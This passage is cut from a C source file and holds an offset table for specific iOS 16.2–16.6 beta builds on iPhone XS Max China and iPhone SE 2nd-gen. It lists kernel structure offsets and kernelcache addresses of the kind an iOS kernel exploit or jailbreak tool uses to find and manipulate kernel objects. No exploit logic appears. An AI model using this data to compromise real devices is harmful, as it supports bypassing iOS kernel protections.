0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a309208,\n        .kernelcache__gPhysBase = 0xfffffff0078f7fa0,\n        .kernelcache__gPhysSize = 0xfffffff0078f7fa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078f6178,\n        .kernelcache__perfmon_devices = 0xfffffff00a347500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e99a88,\n        .kernelcache__ptov_table = 0xfffffff0078ab160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a346990,\n        .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a346988,\n        .kernelcache__vn_kqfilter = 0xfffffff007ee863c,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone11,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a311288,\n        .kernelcache__gPhysBase = 0xfffffff0078fc0e0,\n        .kernelcache__gPhysSize = 0xfffffff0078fc0e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078fa2b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a34f500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e9dc8c,\n        .kernelcache__ptov_table = 0xfffffff0078af160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a34e990,\n        .kernelcache__vm_pages = 0xfffffff0078abea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ae110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a34e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007eecad8,\n    },\n\n    // iOS 16.6 beta 1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone11,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3e5ab0,\n        .kernelcache__gPhysBase = 0xfffffff007914288,\n        .kernelcache__gPhysSize = 0xfffffff007914288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007912440,\n        .kernelcache__perfmon_devices = 0xfffffff00a425530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec2434,\n        .kernelcache__ptov_table = 0xfffffff0078c79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a424910,\n        .kernelcache__vm_pages = 0xfffffff0078c40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078c6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a424908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f10c44,\n    },\n // End iPhone XS Max China//\n// End iPhone XR, XS, XS Max //\n\n\n// Start iPhone SE 2nd, iPhone 11 Pro, iPhone 11 Pro Max, iPhone 11 series //\n // Start iPhone SE 2nd //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:54 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone12,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a311178,\n        .kernelcache__gPhysBase = 0xfffffff00785fb98,\n        .kernelcache__gPhysSize = 0xfffffff00785fb98 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00785dd78,\n        .kernelcache__perfmon_devices = 0xfffffff00a34c370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ebcbd8,\n        .kernelcache__ptov_table = 0xfffffff007813260,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a34b800,\n        .kernelcache__vm_pages = 0xfffffff007810088,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007812210,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a34b7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f0ef14,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone12,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a319178,\n        .kernelcache__gPhysBase = 0xfffffff00785fc80,\n        .kernelcache__gPhysSize = 0xfffffff00785fc80 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00785de60,\n        .kernelcache__perfmon_devices = 0xfffffff00a354370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec0be8,\n        .kernelcache__ptov_table = 0xfffffff0078132a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a353800,\n        .kernelcache__vm_pages = 0xfffffff0078100c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007812250,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3537f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f12f14,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone12,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a319178,\n        .kernelcache__gPhysBase = 0xfffffff00785fc80,\n        .kernelcache__gPhysSize = 0xfffffff00785fc80 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00785de60,\n        .kernelcache__perfmon_devices = 0xfffffff00a354370,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec0be8,\n        .kernelcache__ptov_table = 0xfffffff0078132a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a353800,\n        .kernelcache__vm_pages = 0xfffffff0078100c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007812250,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3537f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f12f14,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone12,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3d5208,\n        .kernelcache__gPhysBase = 0xfffffff00793bed0,\n        .kernelcache__gPhysSize = 0xfffffff00793bed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00793a0a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4134f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007edf3c8,\n        .kernelcache__ptov_table = 0xfffffff0078ef178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a412990,\n        .kernelcache__vm_pages = 0xfffffff0078ebeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ee118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a412988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f2df7c,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:25 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone12,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3d5208,\n        .kernelcache__gPhysBase = 0xfffffff00793bed0,\n        .kernelcache__gPhysSize = 0xfffffff00793bed0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00793a0a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4134f0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007edf3c8,\n        .kernelcache__ptov_table = 0xfffffff0078ef178,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a412990,\n        .kernelcache__vm_pages = 0xfffffff0078ebeb0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ee118,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a412988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f2df7c,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:28 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8030\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone12,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        